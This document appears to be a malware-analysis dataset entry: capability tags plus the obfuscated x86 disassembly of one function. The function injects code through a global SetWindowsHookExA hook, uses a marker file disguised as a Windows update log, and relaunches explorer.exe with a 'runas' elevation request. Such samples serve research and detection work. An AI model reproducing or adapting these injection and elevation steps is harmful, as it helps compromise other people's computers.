Function at 0x404ec0
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x106c
call fcn.00425210
mov eax, dword [0x452944]
mov ecx, dword [0x4518f4]
mov dword [esp + 0x1068], eax
push ebx
mov ebx, dword [0x4518e8]
mov eax, 0x6614bc37
imul ebx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x926
sub edx, eax
push esi
mov esi, dword [0x4518d8]
push edi
mov edi, dword [0x4518dc]
sub edx, esi
lea eax, [edx + edi + 0x1503]
mov dword [str._r_____r_____n], eax
cmp dword [ebp + 8], 0x132b600
mov dword [esp + 0x14], 0
je 0x404f9f
mov eax, 0x8b081419
imul ebx
add edx, ebx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0xa5b2ed37
imul edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518ec]
sub eax, esi
sub eax, edx
lea ecx, [eax + ecx - 0x866]
mov dword [0x4518dc], ecx
mov esi, 0x64
lea esp, [esp]
push 0x3e8
call edi
dec esi
jne 0x404f80
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.004249c1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [0x4518e0]
imul eax, eax, 0x86d
mov edx, esi
imul edx, edx, 0xfad
mov ebx, edi
imul ebx, ebx, 0xa08
sub ebx, edx
add ebx, eax
mov eax, 0x6a79dd7b
imul esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [0x569000]
test eax, eax
mov dword [0x4518e8], ebx
je 0x405049
mov esi, dword [0x4518ec]
mov eax, 0x4152dddf
imul esi, esi, 0xfffff5f8
imul ebx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x4518f0]
mov eax, 0x6a79dd7b
imul ecx
mov ecx, dword [0x4518d4]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, dword [str._r_____r_____n]
lea edx, [ecx + esi - 0x86c]
mov dword [0x4518d4], edx
mov eax, 1
mov ecx, dword [esp + 0x1074]
call fcn.004249c1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 0x61dea4df
imul esi, esi, 0x1538
imul ebx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518e4]
imul edx, edx, 0x4cf
sub esi, eax
add esi, dword [0x4518f0]
lea eax, [edx + esi + 0x14d5]
mov dword [0x4518e0], eax
mov eax, 0x5a4d12c9
imul dword [0x4518d8]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r_____n]
imul edx, edx, 0xb57
sub edx, eax
mov eax, dword [0x4518e4]
imul eax, eax, 0x687
lea esi, [edx + eax - 0x86c]
mov eax, dword [ebp + 0x10]
test eax, eax
mov dword [0x4518ec], esi
jg 0x405191
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x405191
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4050d8
sub eax, dword [esp + 0x10]
mov dword [esp + 0x10], eax
je 0x405191
mov ebx, dword [0x4518e0]
imul esi, esi, 0x1538
imul ecx, ecx, 0x926
mov eax, 0x8c03f71d
imul edi
add edx, edi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
add eax, esi
sub eax, ecx
mov ecx, dword [ebp + 0x14]
sub eax, ebx
push ecx
add eax, 0x2044
push 0
mov dword [0x4518d8], eax
call fcn.00403610
mov esi, eax
add esp, 8
test esi, esi
jle 0x4058a9
mov ecx, dword [0x4518f0]
mov ebx, dword [0x4518e8]
mov eax, 0x8b081419
imul ecx
add edx, ecx
sar edx, 0xc
mov edi, dword [0x4518dc]
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518d4]
mov ecx, ebx
imul edx, edx, 0x14ed
imul ecx, ecx, 0x1d41
sub ecx, eax
add ecx, edx
sub ecx, dword [0x4518d8]
add ecx, 0x1339
mov dword [0x4518f0], ecx
mov ecx, dword [0x4518f4]
jmp 0x4051e0
mov eax, 0x61dea4df
imul esi, esi, 0x1d41
imul dword [0x4518e4]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, edi
imul edx, edx, 0x1538
mov ecx, eax
sub ecx, esi
mov esi, dword [ebp + 0x10]
add ecx, edx
mov eax, 0x4152dddf
imul dword [str._r_____r_____n]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, 0x86c
mov dword [0x4518f4], ecx
mov eax, 0x6614bc37
imul ecx, ecx, 0x926
imul ebx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518d8]
sub ecx, eax
sub ecx, edx
lea ecx, [ecx + edi + 0x1503]
push str.c:windowsKB978978.log
mov dword [str._r_____r_____n], ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [0x4518e8]
mov edi, dword [0x4518ec]
mov eax, 0x4152dddf
imul edi, edi, 0xfffff5f8
imul ecx
mov ecx, dword [0x4518f0]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x6a79dd7b
imul ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4518d4]
sub edi, ecx
add edi, dword [str._r_____r_____n]
mov ecx, dword [0x56394c]
push esi
push ecx
lea eax, [edx + edi - 0x86c]
mov edx, dword [ebp + 0xc]
push sym.CallDll.exe_long_int___stdcall_EngineProc_int__unsigned_int__long_int_
push edx
mov dword [0x4518d4], eax
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov dword [0x569000], eax
je 0x40590a
mov ecx, dword [0x4518e8]
mov eax, 0x8b081419
imul ecx
add edx, ecx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518dc]
mov esi, eax
mov eax, 0xa5b2ed37
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518ec]
sub eax, esi
sub eax, edx
mov edx, dword [0x4518f4]
mov ebx, 1
lea esi, [eax + edx - 0x866]
mov dword [0x563950], ebx
xor edi, edi
jmp 0x4052f7
mov esi, dword [0x4518dc]
mov ecx, dword [0x4518e8]
mov eax, 0x8b081419
imul ecx
add edx, ecx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0xa5b2ed37
imul esi
mov esi, dword [0x4518ec]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
mov ecx, dword [0x4518f4]
sub eax, esi
lea edx, [eax + ecx - 0x866]
push str.c:windowsKB978978.log
mov dword [0x4518dc], edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, ebx
je 0x40535a
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0x12c
jl 0x4052eb
mov ecx, dword [0x4518e0]
mov eax, 0x8c03f71d
imul ecx
add edx, ecx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518e4]
mov esi, eax
mov eax, 0x1bfba0af
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, esi
mov esi, dword [0x4518f4]
mov edx, esi
imul edx, edx, 0x86d
sub eax, edx
add eax, 0x322e
cmp edi, 0x12c
mov dword [0x4518e4], eax
jl 0x405964
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x405964
mov edx, dword [0x4518d8]
imul ecx, ecx, 0x86d
mov esi, dword [0x4518dc]
mov eax, edx
imul esi, esi, 0xa08
imul eax, eax, 0xfad
sub esi, eax
mov eax, 0x6a79dd7b
imul edx
add esi, ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
push 0x800
lea edx, [esp + 0x74]
sub esi, ecx
push edx
mov dword [0x4518e8], esi
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [0x4518d8]
mov eax, 0x5a4d12c9
imul ecx
mov ecx, dword [str._r_____r_____n]
sar edx, 0xa
imul ecx, ecx, 0xb57
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518e4]
imul edx, edx, 0x687
sub ecx, eax
lea eax, [ecx + edx - 0x86c]
lea ecx, [esp + 0x70]
push ecx
lea edx, [esp + 0x874]
push str._sexplorer.exe
push edx
mov dword [0x4518ec], eax
call fcn.004250ea
lea eax, [esp + 0x87c]
push 0
push eax
call fcn.00424edd
add esp, 0x14
cmp eax, 0xffffffff
je 0x405846
mov ecx, dword [0x4518f0]
mov eax, 0x8b081419
imul ecx
mov eax, dword [0x4518d4]
add edx, ecx
imul eax, eax, 0x14ed
mov edi, dword [0x4518d8]
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4518e8]
imul edx, edx, 0x1d41
sub edx, ecx
add edx, eax
sub edx, edi
add edx, 0x1339
push str.explorer.exe
mov dword [0x4518f0], edx
call fcn.00416290
mov ecx, dword [0x4518e4]
mov esi, dword [0x4518ec]
mov eax, 0x61dea4df
imul esi, esi, 0x1d41
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4518dc]
imul edx, edx, 0x1538
sub ecx, esi
add ecx, edx
mov edx, dword [str._r_____r_____n]
mov eax, 0x4152dddf
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add esp, 4
sub ecx, 0x86c
mov dword [0x4518f4], ecx
mov dword [esp + 0x10], 5
jmp 0x405540
mov ecx, dword [0x4518f4]
lea ecx, [ecx]
mov edx, dword [0x4518e8]
imul ecx, ecx, 0x926
mov edi, dword [0x4518d8]
mov eax, 0x6614bc37
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518dc]
sub ecx, eax
sub ecx, edi
lea eax, [ecx + edx + 0x1503]
push str.explorer.exe
mov dword [str._r_____r_____n], eax
call fcn.00415e80
add esp, 4
test eax, eax
jg 0x4057e8
mov esi, dword [0x4518e8]
mov ebx, dword [0x4518ec]
mov eax, 0x4152dddf
imul esi
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edi, ebx
imul edi, edi, 0xfffff5f8
sub edi, ecx
mov ecx, dword [0x4518f0]
mov eax, 0x6a79dd7b
imul ecx
mov ecx, dword [0x4518d4]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, dword [str._r_____r_____n]
xor eax, eax
lea edx, [ecx + edi - 0x86c]
mov dword [0x4518d4], edx
mov ecx, 0x11
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4518dc]
mov eax, 0x8c03f71d
imul ecx
add edx, ecx
sar edx, 0xc
mov edi, dword [0x4518f4]
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ebx
imul edx, edx, 0x1538
add eax, edx
mov edx, edi
imul edx, edx, 0x926
sub eax, edx
sub eax, dword [0x4518e0]
add eax, 0x2044
mov dword [0x4518d8], eax
mov eax, 0x8b081419
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0xa5b2ed37
imul ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ecx, esi
sub ecx, ebx
lea edx, [ecx + edi - 0x866]
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x1c]
push ecx
mov dword [0x4518dc], edx
lea edx, [esp + 0x78]
push edx
push 0
push 0x20
push 0
push 0
push 0
lea eax, [esp + 0x890]
mov dword [esp + 0x38], 0x44
mov dword [esp + 0x64], 1
mov word [esp + 0x68], 5
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4056fc
mov ecx, dword [0x4518e8]
mov esi, dword [0x4518d8]
mov eax, 0x61dea4df
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518e4]
mov edi, esi
imul edx, edx, 0x4cf
imul edi, edi, 0x1538
sub edi, eax
add edi, dword [0x4518f0]
lea eax, [edx + edi + 0x14d5]
mov dword [0x4518e0], eax
jmp 0x4057f4
mov ecx, dword [0x4518e0]
mov eax, 0x8c03f71d
imul ecx
add edx, ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x4518e4]
mov eax, 0x1bfba0af
imul ecx
mov ecx, dword [0x4518f4]
sar edx, 8
imul ecx, ecx, 0x86d
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, esi
push 1
sub eax, ecx
add eax, 0x322e
lea edx, [esp + 0x74]
push edx
push 0
mov dword [0x4518e4], eax
lea eax, [esp + 0x87c]
push eax
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
mov esi, dword [0x4518d8]
jg 0x4057af
mov ecx, dword [0x4518dc]
mov eax, dword [0x4518e0]
imul ecx, ecx, 0xa08
imul eax, eax, 0x86d
mov edx, esi
imul edx, edx, 0xfad
sub ecx, edx
add ecx, eax
mov eax, 0x6a79dd7b
imul esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [0x4518e8], ecx
jmp 0x4057f4
mov eax, 0x5a4d12c9
imul esi
mov eax, dword [0x4518e4]
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r_____n]
imul edx, edx, 0xb57
sub edx, ecx
imul eax, eax, 0x687
lea ecx, [edx + eax - 0x86c]
mov dword [0x4518ec], ecx
jmp 0x4057ee
mov esi, dword [0x4518d8]
mov ecx, dword [0x4518e8]
mov edi, dword [0x4518f0]
imul ecx, ecx, 0x1d41
mov eax, 0x8b081419
imul edi
add edx, edi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518d4]
imul edx, edx, 0x14ed
sub ecx, eax
add ecx, edx
sub ecx, esi
add ecx, 0x1339
push 0x3e8
mov dword [0x4518f0], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0x10]
jne 0x405537
mov esi, dword [0x4518ec]
mov edi, dword [0x4518dc]
imul esi, esi, 0x1d41
mov eax, 0x61dea4df
imul dword [0x4518e4]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, edi
imul edx, edx, 0x1538
mov ecx, eax
mov ebx, dword [0x4518e8]
sub ecx, esi
add ecx, edx
mov eax, 0x4152dddf
imul dword [str._r_____r_____n]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, 0x86c
mov dword [0x4518f4], ecx
jmp 0x405080
mov ecx, dword [0x4518e0]
mov eax, 0x8c03f71d
imul ecx
add edx, ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x4518e4]
mov eax, 0x1bfba0af
imul ecx
mov ecx, dword [0x4518f4]
sar edx, 8
imul ecx, ecx, 0x86d
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, esi
sub eax, ecx
add eax, 0x322e
mov dword [0x4518e4], eax
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.004249c1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x4518dc]
mov eax, 0x8c03f71d
imul ecx
add edx, ecx
mov ecx, dword [0x4518ec]
sar edx, 0xc
imul ecx, ecx, 0x1538
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518f4]
imul edx, edx, 0x926
add eax, ecx
sub eax, edx
sub eax, dword [0x4518e0]
add eax, 0x2044
mov dword [0x4518d8], eax
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.004249c1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x4518e8]
imul esi, esi, 0x926
mov eax, 0x6614bc37
imul ecx
mov ecx, dword [0x4518dc]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, dword [0x4518d8]
lea edx, [esi + ecx + 0x1503]
mov ecx, dword [esp + 0x1074]
mov dword [str._r_____r_____n], edx
mov eax, ebx
call fcn.004249c1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret